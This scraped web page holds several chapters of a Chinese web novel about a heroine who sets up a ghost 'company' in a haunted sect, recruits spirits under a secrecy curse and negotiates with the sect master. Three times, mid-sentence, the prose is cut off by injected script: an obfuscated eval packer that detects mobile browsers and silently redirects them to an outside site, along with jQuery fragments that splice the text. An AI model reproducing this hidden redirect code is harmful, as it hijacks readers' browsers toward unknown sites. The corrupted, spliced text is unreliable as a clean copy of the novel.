() { $(''.inform'').remove(); $(''#content'').append('' 胎为人。” “他们入了轮回?!” 未曾设想的道路,令两个小姑娘震惊不已。 全毕宿宫名声最差的姥姥,真的会做这样的事吗?她图什么? 错过轮回的厉鬼,又真的有机会积攒功德吗? 关于自己与地府联系这件事,夏月明不想透露太多,便没有过多解释,只搪塞道:“我修炼复颜术之时,悟出了一种新的修炼方式,可将自身功德转化为修为,也可帮助厉鬼重新计算功德。所以我帮他们,也是在帮我自己。” 这说法对两个小姑娘来说有些超纲,但林蔓从前的确喜欢收集各种邪功,所以她们也不难接受。 而通过这些天与夏月明的相处,她们也强烈地感觉到她和从前林蔓的不同。 虽不明白为何会有这种改变,但可以确定的是,她们更喜欢现在的林蔓。 那便不需要纠结了。 小婵最先理清思路,认真道:“能有机会结善果,已是再幸运不过的事,小婵多谢师父恩赐,愿助师父悟得天道,修成正果!” 依依虽然没有完全想通,却也放弃思考,欣然道:“依依也是!” 这份信任亦令夏月明动容,盈盈目光一一扫过身旁众鬼,心中涌起幸福暖意。 穿越前最向往拥有的伙伴,她现在不但拥有了,还拥有了很多个。 她迫不及待地、欢心雀跃地,想要回应伙伴们的期待。 而她的伙伴们亦然。 除了诅咒。 “喂喂喂,开会着呢,别煽情了,我的时间可是很宝贵的。” 一句不解风情的话冻住了逐渐升温的空气。 夏月明干笑两声,又再次同众鬼讲起自己的安排。 最后,依依、小婵和诅咒被分到了行政部。 依依是人力,负责为各部门寻找鬼才支持,第一个任务就是联系之前问卷中愿意直接投胎的鬼来面试,加入基建部攒功德; 小婵是行政,负责统筹、规划、分配招聘到的各种鬼才和提供其他行政支持; 诅咒是法务,在他的撒泼打滚和无赖威胁之下,仍然加上部长头衔,负责劳动合同的签署和约束,以及其他相关内容。 小白暂时负责基建部,并协理心愿部。 夏月明主要负责心愿部与盈利部的具体事务,以及整个团队的管理和支持。 而新团队的名字,她在刚才一瞬间也突然有了思路,便道:“叫蔓月没有限公司怎么样?” 林蔓的“蔓”,夏月明的“月”,取了一个蔓越莓的谐音,再配合“有限公司”四个恢弘大气一看就很正规的公司后缀,正好组成了“没有限、公司”的断句。 素来不会起名的她对自己这一次的灵光乍现十分满意,星星眼期待地看着众鬼。 除了诅咒,在场众鬼没有懂她巧思的。 但自己选的老板还能怎么说?当然是宠着啦。 三只鬼齐声高呼:“妙啊!” 诅咒一脸不可思议地看向其乐融融的四只鬼,默默把小板凳往后挪了挪,决定先从行为上孤立他们。 自此,此世界的第一家有限责任公司在鬼山正式成立。 虽然架构搭建的很宏大,但因为鬼手不足,显得他们仍是草台班子。 即便如此,这样相对体系化的公司运营模式,也令这个时代的鬼魂们十分震撼新奇。 散会后众鬼摩拳擦掌,已经迫不及待想要开始上班啦。 27. 小鬼招聘会 当晚依依就整理出从前问卷中,愿意直接投胎的鬼魂名单,挨个通知他们明晚戌时,到心愿部面试。 小鬼们乍一听到消息,都一脸茫然,不敢相信。 他们的期待值,早就在之前的一次次落选中掉光了。 连自己都放弃的执念,却没想到,心愿部还记得。 确认了好几遍之后,小鬼们才欢欣雀跃地点头应声,又是道谢又是行礼地送走了依依。 第二天戌时未到,落林院外就排起了长队。 依依和小婵一同将排队的小鬼迎进院中,给他们一鬼发了一张简历表格。 这是昨夜依依去通知小鬼时,小婵连夜去镇上印好的。 清点完鬼数,并指导小鬼们填完简历后,小婵又给他们一人发了一份保密协议。 协议是夏月明昨夜临时起草的,要求签署者承诺在任何时候都不得以任何形式或方法,直接或间接地泄露、透露公司的一切秘密事宜。包括商业计划、客户信息、员工信息、薪资结构、工作内容等一切非公开信息。 最后一行特别强调,本协议一旦签署,将受到保密诅咒的制约。 遵守协议不受影响,一旦违背,便会触发诅咒,导致严重后果。 小鬼们按照要求仔仔细细将协议看了两遍之后,有的直接落笔签字,有的却面露犹疑。 小婵见状解释道:“协议只是为了确保你们不会将副宫主接下来要讲的内容泄露出去,对你们自身不会有任何伤害。但毕竟是要接受一份诅咒,若不愿签字,可直接放下协议离开。” 犹豫的几名小鬼听罢一咬牙,也拿起笔来也纷纷在右下角签了名。 如此,招聘会的一切准备工序都已完成。 夏月明推开正厅大门,邀请小鬼们一起入厅面试。 厅内已提前放好了草编的坐垫,小鬼们落座后,夏月明便直入正题,同他们说起了自己的规划。 “在座都是之前填问卷时,在心愿栏写下想投好胎的鬼。之前你们也曾来问过小婵,为什么心愿部几次筛选,都没轮到你们。” 的确是小鬼们疑惑多时的问题,他们纷纷集中精力,竖起了耳朵。 夏月明道:“现在我可以直接告诉大家,是因为你们做鬼时间太长,其间积累的罪孽太重,无法投入人道,所以我不能给你们保证。” 话音刚落,一众小鬼面色恍然,有种期待之外,意料之中的感觉。他们突然就很想苦笑。 是啊,自己到底在奢望什么啊?明知罪孽深重,还想去投好胎,可笑,可笑至极。 见众鬼面色颓然,一副自报自弃却又愤然不甘的样子,夏月明颇感唏嘘,提高音量又道:“所以我决定成立实业部,帮助大家攒功德,抵罪孽,再入轮回投个好胎,以实现你们的心愿。之前实现心愿的十二位伙伴,现在应该也都已经转世了吧。” 话音刚落,满厅寂然。 小鬼们难以置信地抬起头来,望着夏月明柔善的面容,心中的火光再次闪烁。 有胆大的直接发问了:“副宫主可知,鬼魂是无法积攒功德的?” 此话一出,如一盆冷水当头倒下,浇灭了小鬼们重燃的心火。 是啊,不管副宫主性子怎么变,这天地间的法则是不会变的,为什么又傻傻地开始奢望了呢? 但见副宫主并未直接回答,而是微微一笑,从袖口拿出一枚黑色令牌。 纤细指尖在令牌上轻触片刻后,令牌中便传出极不耐烦的男声。 “干森么干森么?不费又有新的魂了吧?” 众小鬼交头接耳,讨论这是什么神奇法器。 夏月明从旁边随手拿起一份简历,赔着笑客客气气道:“打扰前辈啦,没有新的魂,只是有问题想请前辈帮忙查一下~” 没被她卷到的黑无常松了口气,态度缓和了一些:“缩。” 夏月明看向简历,念出了上面的名字:“我想请前辈帮忙查一下陈大伟的生平、罪孽、功德,和当下的投胎情况。” “陈大伟?之前不是查过了吗?”令牌中又传来白无常不耐烦的声音,“生前是前朝大官家的账房,后来大官被抄家,他也被拉去一同问斩了。本来无功也无罪,但是他死后加入毕宿宫,吓人害鬼,罪孽深重,只能投畜生道,多半是猪了。” 名唤陈大伟的鬼听罢瑟瑟发抖,仿佛看见了过年时屠夫手里闪着寒光的大刀。 “多谢前辈。”夏月明又拿起一份简历,道:“前辈可还记得孙鹏的生平和功德吗?” 白无常抱怨了两句,又如实告知,这位下辈子可能是苍蝇。 名唤孙鹏的鬼闻言仿佛看见了下辈子的口粮,忍不住干呕。 众鬼魂听到这里,也纷纷看向被点名的两个小鬼。 见他们严肃点头后,都觉十分不可思议。 与副宫主通话的会是谁呢? 他们入宫门时,并未提及生前经历,他怎么会知道这些信息? 听出白无常不耐烦,夏月明便不再继续问下去,直接同他确认道:“如果他们做好事得的功德能抵消死后罪孽,可否投人道?” “那是自然,不是你跟阎王争取的吗?” 短短一句话,再次让坐下小鬼震撼不已。 和阎王争取? 副宫主见过阎王? 难道与她通话的是鬼差? 这什么人脉,哦不,鬼脉,也不对,是神脉啊!!! 见小鬼们脸上的表情由怀疑变成了震惊,夏月明知道目的达成,便收尾道:“谢前辈告知,多有打扰,为表歉意,我这个月业绩分你们三个。” “森科森么?仨个?” “呃……这说的什么话呀,都是为地府效力,什么打扰不打扰啊~” 苦于业绩的两位无常竟为三个魂魄折了腰,连声音都夹起来了。 在结束通话前,还急忙咆哮着补了一句:“说话算话啊!” 夏月明收起令牌,就见坐下小鬼皆是一副目瞪口呆的表情。 连依依和小婵也不例外。 虽然她昨天已告诉她们,她修炼了能练功德的法术,算是打了预防针。但她没说这法术这么厉害,竟能与黑白无常,甚至阎王通话。 会不会……其实副宫主如今修为已经在地府之上了?不然向来自傲的天神,怎么可能和凡间小鬼通话?还答应他们的请求? 众鬼魂眼中射出的崇拜目光,如几十盏聚光灯一般打向夏月明,顿时令她有些社恐了。 她不自然地扯了扯嘴角,小声道:“你们肯信我了吗?” 坐下众鬼面色神圣又坚定,齐声道:“信!” 声浪震得夏月明耳朵疼。 不过总算以最直接的方式,证明了自己和公司的实力。 接下来的流程就顺利很多了,她说什么小鬼们都愿意配合,积极努力地展示着自己的才华和技能。 夏月明欣喜地发现,有的小鬼生前就是搞装修和建筑的,配合移物、聚水、聚尘、举重等法术技能,干活时起码能增加10%-15%的效率。自然而然就将他们分到基建部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不知道自己采用公司化管理,是否能最快最多地帮助小鬼们攒到功德,亦不知这样做自己能够获得多少功德。 但在她认知中,学校和公司是管理大型团队唯二可以参考的模式。而当下需要赚功德的小鬼们,又显然不能代入到学生的身份,所以便选择了后者。 至于是否最优解,就先运行看看再说吧。 她深深地吸了口气,对小鬼们挤出一个同样朝气蓬勃的笑容来,高声道:“散会!” “是!” 随着小鬼们的有序离场,厅内渐渐冷清下来。 夏月明走到被挪到墙边的方桌前坐下,以手托腮,开始发愁另一件事。 落林院外,几名小鬼步伐沉重,交头接耳。 其中两位正是先前被点名的陈大伟和孙鹏。 陈大伟担忧道:“开工的日子,在宫主出关后,可……”后面的话他不用明说,其他小鬼也知道。 孙鹏叹气道:“看来你们堂主也跟你们说了。” 宫主出关之日,便是副宫主倒台之时。几位堂主已打算在她退下副宫主之位后,一起状告她残害下属十二人。 待她被轩辕泓惩处,实力大减之时,他们便会一同找机会将她伏击。 “如果副宫主没了,我们是不是永远也不能再投胎了?” 一句话让众小鬼心情都沉重了起来。 当下他们一合计,便齐齐转身,朝院内行去。 28. 泄密的代价 “你们说狸姝联合堂主们,想在我卸任之后伏击我?” 为保住夏月明,小鬼们犯险将自家堂主的计划告诉了她。 她倒是猜到他们会对付自己,但没想到他们这么狠毒,竟是想赶尽杀绝。 孙鹏面色沉重,忧心道:“嗯,具体怎样伏击,属下地位卑微暂时不知,请副宫主多做防备。属下会尽力打探,及时禀告副宫主。” 其余几名小鬼也认真点头。 “嗯。”夏月明对小鬼们莞尔而笑,柔声道:“谢谢你们告诉我这些,我会想办法解决。也请你们不要担心我,更不要为我犯险去打探什么,就像以前一样平平安安度过这两天,等到开工日,我们一起开开心心上班。” 小鬼们皱眉对望,面上愁色更浓。 知他们还在替自己担忧,夏月明努力挤出一个更为灿烂的笑容来,坚定道:“放心,我说到做到。” 小鬼们这才犹豫着点了下头,不安地离开了落林院。 眼下形势,即便副宫主口头保证了,他们也没办法真的放心。 虽然他们也知道,副宫主的实力在毕宿宫中仅次于宫主,但大抵是因为她练成复颜术后过于面善的原因吧,一看到那张毫无攻击力的脸,他们就总会忘掉她可怕的实力,下意识产生她很需要自己守护的错觉。 ——当然,若他们知道所谓复颜术的真相,就会明白,这不是错觉。 “不行!还是放心不下,我们必须为副宫主做点什么!”沉默良久的陈大伟忍不住开了口。 其余众鬼也齐声符合,一同谋划了起来。 这边热血护主,绞尽脑汁,另一边,与他们同期的其他同事也没得清闲。 在签字时犹豫的几名小鬼中,有三名是被堂主买通,去替狸姝打探消息的。 如今正齐齐整整地跪在狸姝所在的天姝院中,准备将听到的惊天大瓜倾囊吐出,立个头等大功。 “说吧,她今晚叫你们过去做什么?”狸姝媚眼盈盈地将三名小鬼扫视了一遍,纤纤玉手拈起一绺碎发,又娇声补充道:“说得越多,奖励越多哦。” 跪在左边的小鬼咽了口口水,迫不及待地张开了嘴。 众堂主期待的目光齐齐望向小鬼嘴巴,在诸位领导郑重其事的注视中,小鬼自信地伸直舌头,道:“哔——” “……” 堂主们面色惊疑,眉头挑起。 狸姝脸色一懵,好奇又问:“什么?” 小鬼紧张地活动了下嘴巴,再次答道:“哔——” 声音一出,众堂主的脸色都黑了。 小鬼急得满头大汗,非常用力夸张地动起嘴巴,试图让自己的发音更准确一些,但千言万语,到嘴边都只化成一个长音:“哔——” 他的直属堂主气愤地甩手给了他一耳光:“哔哔哔,我让你哔!” 小鬼急得快哭了,想为自己辩解,张嘴却又是一声:“哔——” 他急忙惶恐地捂住嘴巴,堂主恶狠狠地踹了他一脚,又指着旁边的小鬼道:“你说。” 旁边小鬼此刻觉得压力山大,像是拳击手上场前,先要按摩松弛肌肉一般,他也把自己的嘴皮子好好松弛、揉捏了半天才敢开口,小心翼翼地喊出了:“哔——” 他绝望了。 小鬼们此刻终于明白,保密协议中那句“一旦违背,将会导致严重后果”是什么意思了。 他们一有想要透露协议内容的想法或行为,出口的声音就会不受控地变成“哔——”声。 这就是协议所说的,诅咒的制约。 这帮连网都没上过的小鬼们,在夏月明和诅咒的热心设计下,提前体会到了语音打码的效果,而且是比手动打码更高级一点的口动打码。 眼见前两名小鬼都被堂主踹了,压力来到了第三名小鬼身上。 这次他比较聪明,意识到嘴型是“哔”声时,就提前中断了发声动作,再行调整。 终于在领导们的耐心快要耗光之前,做出了一个不是“哔”的嘴型,他大喜若望地放心发声,吹出了一声响彻天际的口哨。 嚯,开出隐藏款了。 毫无意外,他也遭到了堂主的无情脚踹,而且是五下。 这样折腾了几番之后,狸姝也意识到他们是被下了什么保密的术法,便拿来纸张给他们写。 虽然印象中,他们签订的协议上也明确禁止了书面泄密,但抱着试一试的心态,三名小鬼还是落笔了。 见前几个字都能顺利写出,他们松了口气,继续往后写。 于是三张纸上都出现了以下内容: 副宫主告诉了我们一个惊天大秘密。 几名堂主面露喜色,都觉有戏,认真期待地等着看这个惊天大秘密。 便见小鬼们大笔一挥,洋洋洒洒又写下一句: 以下内容需付费观看,您的余额为不足,请前往落林院充值。 “什么玩意儿啊?!” 一名堂主气得运起黑火,朝着三名小鬼就是一通乱砸。 隔空被耍多次的狸姝咬紧银牙,愤怒地从牙缝里挤出了一句谩骂:“林蔓这个贱人!敢这么耍我。” 可惜在场众鬼无一想起可以用手语沟通这件事,不然他们就会看到一场酣畅淋漓的摇花手,提前感受一下后现代艺术的冲击。 一番折腾下来,狸姝身心俱疲,想把林蔓从副宫主位置上拉下来的心情竟比以往任何时候都更加强烈。 她一定想不到,此刻念叨林蔓的,不只她一个鬼。 夏月明坐在落林院正厅昏暗的方桌前,捧着林蔓墨绿色的妖丹已经连叹了三声了。 “林蔓啊林蔓,你和轩辕泓到底约定了什么呀?” 她翻遍林蔓所给的所有记忆,也没找到半点儿和约定有关的内容,林蔓给她的只有近五十年以内的记忆,想来他们定下约定的时间应该在更久之前。 可这约定内容,正是她能否破解此次险局的关键。 轩辕泓修炼的禁地有九道关卡,最外两层是林蔓在四十年前设计的,她想通过很容易。 所以她本打算在轩辕泓出关前,提前进入禁地第二层关卡躲起来,等他出关把他截胡,在没有其他鬼魂的私人场合,用这个约定打打感情牌,让他与自己卸下宫主和副宫主的身份制约,恢复到纯粹的母子关系,再求他不要追究十二名鬼魂的事,放她和依依小婵等鬼魂离开宫门。 但这一切能执行的前提是,他俩的约定的确是感情向的,不然她的亲情绑架就无法成立。 眼见天光大亮,正是鬼魂最不活跃的时候,机会难得,夏月明决定先行动再说。 赌一把吧,赌赢了皆大欢喜,赌输了随机应变。 轩辕泓修炼的禁地,是在山体之中的一个狭长洞穴内。 夏月明按照预想中的计划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866753|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,成功潜入禁地第二层机关内,等了大约三个时辰,终于听到内层关卡打开的声音。 紧接着声音越来越近,他要来了。 夏月明能感觉到,自己和轩辕泓就隔着最后一道机关门。 她深呼吸使自己尽量保持淡定,而后在两扇石门分开的一瞬间,挤出一个又慈祥又灿烂的笑来。 吓了轩辕泓一跳。 他能感觉到有鬼闯入禁地,但没想到会是“林蔓”,更没想到她会是这样一副怪异的神情。 当下就是觉得……有点儿瘆得慌。 轩辕泓戒备地在距夏月明两米的位置止步,警惕道:“何事?” 夏月明从袖袋中拿出一副扑克牌来,笑吟吟道:“玩不玩抽王八?” 轩辕泓:? 更诡异了。 轩辕泓面色一沉,冷声道:“别绕弯子,有事直说。” 夏月明道:“没绕弯子。就是你闭关之前,我不是答应你要教你玩扑克吗?但我想,外面那么多小鬼,要是给他们看到咱俩玩物丧志,那影响多不好啊,不利于宫门的发展,所以想趁只有咱俩没有外鬼的时候,教会你。” 她本意是想提醒轩辕泓,这里没外人,就别给妈妈摆架子了。 没想到轩辕泓理解的语境竟和她不同,他紧张地后退了一步,道:“你的心意我明白,但感情的事不能强求,你若要硬来……”说着捏起了拳头,“我也不会手软。” 夏月明:? “等会儿……你这话怎么听着怪怪的?我硬来什么啊?” 总不会是说硬要他当她儿子吧? 等等……难道他那句“感情的事”不是指亲情? 这一刻,轩辕泓厌恶、防备又不耐烦的表情,突然就与她记忆中的无数画面重合了,她不再只能通过看图写话,来主观地去理解他的情绪,而是可以更加直观、清晰地感受到了。 那不是叛逆,是单纯的戒备和反感。 夏月明恍然大悟。 原来林蔓给轩辕泓端茶送水、嘘寒问暖、鞍前马后不是出于母爱,是恋爱。 “原来我应该是舔狗人设啊。”夏月明心里很失望。 但失望归失望,计划还得往下走。 经过一番解释和毒誓之后,轩辕泓终于相信她对自己没起歪念,劫后余生般松了口气,随即心里又为自己刚才的误会而感到愧疚和尴尬。 塞翁失马,焉知非福。 察觉到他气势变弱,夏月明立刻乘胜追击,见缝插针地做出一副楚楚可怜的期待表情,再次拿起扑克牌弱弱道:“宫主现在学吗?” 和她预判的一样,出于愧疚,也为了缓解尴尬,轩辕泓不好再拒绝,便道:“这次出关早,可以玩一会儿。” “嗯!”夏月明神色欣然,洗起牌来。 轩辕泓趁她不注意的时候,偷偷瞥了她一眼,竟莫名觉得有些别扭。 这好像是头一次,林蔓和他单独相处时,视线不是一直黏在自己身上。 仔细想想,她刚才看自己的眼神虽然也很热切,但是好像和从前又有很大区别。 这会是欲擒故纵的把戏吗…… 被从前林蔓的狂热攻势吓怕了的轩辕泓,完全怀疑错了方向。 眉头时而舒展,时而紧蹙。 满心问号,愈发惶恐。 她缠着自己在这里玩扑克,目的究竟是什么? 29. 战力入股 夏月明很无辜。 扑克牌也很无辜。 她带扑克牌来找轩辕泓,是想他将注意力集中在不熟悉的新鲜事物上,好不被他察觉地套话。 没想到事情因为林蔓的一贯人设,出现了新的转机。 薄纸做的牌本来就不好洗,再一察觉到轩辕泓似有若无的探究目光,她就洗得更慢了。 便是这一会儿,轩辕泓的思绪已然又转了好几个圈。 他想起第一次见林蔓的时候。那时她看起来大约也是这个年纪,明明是个法力无边的妖精,却被凡人欺负得不成人样。 他没忍住多管闲事,救了她一命。 而后她便非要以身相许,跟随他一起创立了毕宿宫,为了变得更强,四处搜集邪术修炼,原本灵气的外形也在某次走火入魔后迅速衰老了。 这副模样至今已有七十余年,是以在她练成复颜术之后,他再去回想她从前的样貌,竟有些怀疑自己的记忆了。 她如今的容貌,与他模糊记忆中的样子大不相同。 是时间久远,记忆出错了吗? “好了!” 不等他顺着这个疑点继续深思,夏月明先把牌放好了。 抽牌过程中轩辕泓仍有些心不在焉,但开始出牌后他便不得不分神思考,很快便投入进去了。 见时机成熟,夏月明一边出牌,一边随口问道:“宫主还记得我们从前的约定吗?” 此刻知晓林蔓和他不是母子关系,夏月明问话时愈发小心翼翼了,生怕是感情向的约定,再让轩辕泓应激了。 一百年都没兑现的约定,别说,还真有可能。 但见轩辕泓拈起一张牌,沉思了片刻后,有些唏嘘地淡淡道:“记得。你说要在百年内,带领毕宿宫成为鬼界最强。” 也是在那以后,她才开始修炼各种邪术的。 轩辕泓将抽到的牌与自己的牌凑对,放到牌堆里。 “百年内……今年是第几年了?”夏月明随意地从他手上抽了一张牌,心里庆幸不是感情向的约定。 便听轩辕泓道:“第九十九年。” “……” 瞳孔震动,夏月明拿牌的手僵住了,脸上的肌肉也不自觉抽动了两下。 内心忍不住吐槽道:“说好的接力跑,你走了两步剩下都归我是吧?” 察觉她神色有异,轩辕泓关心询问:“怎么了?” 夏月明扯了扯嘴角,道:“没事。” 他们九十九年都没做到的事,要让她在一年内完成,已不是离谱二字可以形容。 而且约定的是“带领毕宿宫成为鬼界最强”,所以她原计划先跑路再说的方案也不能用了,不然就不是“带领”。 虽然被这约定震撼了一下,但她知道时间紧迫,也没空去想太多。 当下便心念急转,改换主意道:“宫主是否相信,我可以在这最后一年之内,完成我们的百年之约呢?” 突如其来的问题令轩辕泓有些讶异,他沉默一瞬,垂眸道:“我们用九十九年时间,才统治了临近两座省府,一年……可能吗?” “当然。”夏月明双眸明亮,拿出能拿奥斯卡的演技,挤出一个十分自信的笑容,坚定道:“只要宫主愿意支持我。” …… 禁地外,毕宿宫三位长老和十二位鼻青脸肿的堂主皆已在此等候了。 阿九看到猪头般的邱堂主,没忍住笑出了声:“今年是猪年吗?堂主特意打扮成这样,是想给宫主出关添个彩头么?” 邱堂主的脸上青一阵紫一阵儿的,尴尬回怼道:“昨夜宫内遭遇大批匪徒偷袭,我忙着做宫主出关的准备,一时防备不慎……想来九长老是睡得太死,没听到动静吧。但您不必担心,那匪徒已被我们合力诛杀,形神俱灭了。” 阿九拍拍胸口,笑着道:“那我便放心了。不然被揍成猪头,宫主一看还以为是提前投了畜生道呢。” “……” 邱堂主一怒之下怒了一下,正欲再怼,便听见狸姝道:“先把伤遮掩一下吧,可别让宫主看到,忘了今天最要紧的事。” 最要紧的自然是重选副宫主了。 邱堂主闻声闭嘴,示意其他堂主一起,互相施法遮掩了伤情。 狸姝左顾右盼,心情大好:“林蔓还没来吗?” 站在她身后的邱堂主小声道:“未曾见到。” “哼。”狸姝肩膀一抬,愈发成竹在胸,“真是越来越放肆了,宫主出关这等大事都敢缺席。怕不是知道自己地位不保,没脸来了吧。” 话音刚落,便见禁地大门轰然打开,被她念叨的两个鬼一起出现在了众鬼面前。 放肆笑声卡在喉咙,狸姝整个鬼都傻住了。 这什么情况? 阿九率先欣然高喊:“恭迎宫主出关!恭喜宫主法力精进,神威更隽!” 一众鬼魂这才反应过来,急忙齐声高喊:“恭迎宫主出关!” 轩辕泓扬手免礼,淡淡道:“去议事厅,本座有事宣布。” 狸姝看着夏月明一脸轻松的表情暗暗咬牙,懊悔自己竟一时疏忽,给了她先手之机。 她竟忘记了这机关是林蔓设计的! 眼见事态就要往不可控的方向发展,她将心一横,决定破罐子破摔,拦住了轩辕泓。 “宫主请留步,属下有话要说。” 轩辕泓闻言止步,默然偏头看向狸姝。 狸姝调整呼吸,严肃道:“属下要告副宫主,残害同门一十二名。” 堂主们屏息噤声,一时拿不定主意该如何配合于她。 按照计划,他们应该在林蔓卸下副宫主之位后再行告状的,这样一来,对她的惩处便可更加纯粹一些。不然“卸除副宫主职责”这一项便会成为惩罚的一部分,抵消掉其他更严重的后果。 但谁也没料到,轩辕泓闻言竟是“嗯”了一声,淡淡道:“是本座的意思。” 狸姝懵然:“什么?” 轩辕泓道:“在本座闭关期间,林蔓所为皆是本座允许。” 狸姝一脸难以置信,竟嗤笑出声:“你要这样护着她么?” 轩辕泓面色一沉,众堂主的心都提到了嗓子眼儿。 他此番出关,战甲上多了许多红色纹路,气场也比从前更加凛冽可怖。 怕狸姝语义暧昧的话又给轩辕泓整应激了,夏月明急忙笑着走到她身前,找补道:“是呀是呀,整个毕宿宫不都靠宫主护着吗?宫主此番闭关,也是为了精进修为,更好地护着大家呀。” 狸姝还待再要嘲讽,夏月明笑吟吟地抓住她的手,在她耳畔轻声道:“狸长老勾结缉灵司的证据,我也帮你护着呢。” 温温柔柔的语气,说出来的话却仿如千斤重的锁链一般,骤然扼住了狸姝咽喉,令她呼吸紧促,再吐不出言语。 她不追究,轩辕泓便也不再理会,径自迈步朝议事厅行去。 关于十二名小鬼去向的事,在出禁地之前夏月明便给他打过预防针了。 但她并未明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866754|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,只贯彻了一个“拖”字诀,要他相信自己,一年后给他解释。 没办法,拖延症是这样的。 幸而轩辕泓了解林蔓的品格。她虽然心狠手辣、不择手段,但与他一起创立毕宿宫的这九十九年以来,她未曾无故杀害过任何同门。 当然,偶尔的打骂、惩戒、折磨便不算在其中了。 加上夏月明主动献出副宫主的位置来做抵押,轩辕泓斟酌了良久,终于半信半疑地应允了她。 反正于他而言,一年时间并不算长,买不了吃亏,也买不了上当,试试无妨。 一众鬼魂就这样各怀心事,跟着他朝议事厅行去。 看宫主的态度,要让林蔓卸下副宫主之位,怕是难咯。 本来他们内心十分笃定的事,现下也都迷茫了起来。 没走几步,便见十余名小鬼排成一行,跪在半道上拦起了路。 是夏月明昨天才招聘的鬼员工们。 为首的便是陈大伟,他捧着一团鸡蛋般大小的金色焰球,跪行到距轩辕泓一米远的距离伏身一拜,肃然道:“属下陈大伟,自愿与十六名伙伴一起献出一半魂灵,铸此魂焰敬献宫主,以担保副宫主近月所行之事,绝未触犯宫门规定!” 魂灵是鬼魂修行之根本,亦是魂体能量的来源。献出一半魂灵,不但会使鬼魂能力大减,更会影响魂体状态。 以魂灵所铸之魂焰,联结着鬼魂的生存命脉,一旦魂焰熄灭,鬼魂也会随之顷刻消散。 这可以说是以生命在做担保了。 望着员工们微弱到开始透明的魂体,夏月明鼻头一酸,红了眼眶。 她手足无措地轻声道:“你们怎么……我不是说我会想办法吗?” 言罢对轩辕泓恳求道:“我自己的事我自己担保,把魂焰还给他们吧。” 轩辕泓深邃的眼眸中透着几分不解,不解为何小鬼会为她这样付出,更不解她为何会因此如此慌乱难过。 若说在禁地内他是抱着试一试的态度答应她的,那现在,他竟有几分期待了。 在夏月明泪意盈盈的目光中,轩辕泓拂袖打散了陈大伟献上的魂焰,魂焰化作十七朵花瓣状的小火苗,射向了小鬼们的眉心。 见小鬼们魂体变得清晰,夏月明深深松了口气。 轩辕泓负手而立,如潭黑眸中竟透出几分悲悯,望着小鬼们道:“既然如此,你们便也听听吧。即日起,废除林蔓副宫主之位,由狸姝继任。” 狸姝狂喜。 小鬼们惊慌不已,正要求情,便听轩辕泓继续道:“林蔓在宫外建立新的组织,虽仍属于毕宿宫,但不必遵循宫内的一切规则与安排,自行决断一切事务,定期向本座汇报。” 狸姝大惊:“啊?” 堂主们窃窃私语,互相怂恿对方站出来反对宫主决策。 小鬼们惊喜对望,互相拥抱直呼谢天谢地宫主英明。 夏月明也偷偷擦干眼角,与他们一同露出欢颜。 在禁地时,她与轩辕泓约定,今后轩辕泓负责武力方面的强大,她负责壮大声望、财力、规模等综合实力,誓要在一年内达成约定。 虽然她做此提议时眼中满是信念感,但内心却狠狠与那些吹牛画饼拉投资的老板们共情了。 这约等于是让轩辕泓带着毕宿宫,以战力入股了蔓月没有限公司。 眼见轩辕泓被她带动得斗志满满,夏月明内心惭愧不已。 质疑大饼,吃下大饼,吸收大饼……画更大的饼! 30. 我以主人的身份命令你 轩辕泓一双寒眸淡淡地扫过众位堂主,冷声道:“可有异议?” 堂主们面面相觑,皆不敢言。 眼下他把林蔓的罪责扛在了自己身上,也确实撤掉了她的副宫主职位,该表的态都表了,他们着实没有话头可言。 思来想去,便只能问了问宫主想把林蔓独立出去的缘由。 夏月明还没来得及反应,轩辕泓就霸气满满地说出了她给他画的饼:“一切都是为了让副宫主大展拳脚,带领毕宿宫在一年内成为鬼界最强。” 众鬼:? 邱堂主擦了擦额头冷汗,露出一副“这很难评,我祝她成功吧”的表情。 夏月明尴尬脸酸,恨不能找个地缝钻进去。 怎么同样的饼,自己说时不觉得,听别人一转述出来就这么尴尬呢? 但她面上仍是维持着灿烂笑容,对投来质疑目光的小鬼们一一确信点头。 这下众堂主完全不知该说什么了。 狸姝眼波流转,试探道:“做不到的话,又当如何?” 轩辕泓深邃的眼睛眨都没眨一下,坦然道:“本座和她一同谢罪,任凭众位处置。” 夏月明:? 原本只她一人承诺,她心理负担倒还小一些,做不到大不了跑路。 现在他又把自己搭进来了,于她而言便有些进退两难。她着实不想连累一个愿意相信自己的傻鬼。 狸姝听罢心情大好,带头躬身行礼,高声道:“宫主英明!属下谨遵宫主安排!” 在其余众鬼热热闹闹的附和声中,夏月明挤出一个标准的职业假笑来,突然感觉鬼魂的悲欢也不相通了。 好在没过一会儿她就想通了。决定尽力而为,走一步看一步。 毕竟想再多也不过是给自己叠debuff罢了,不会对完成任务有任何增益。 所谓尽鬼事,听天命。她也很想看看自己在这个世界,能创造什么样的可能性。 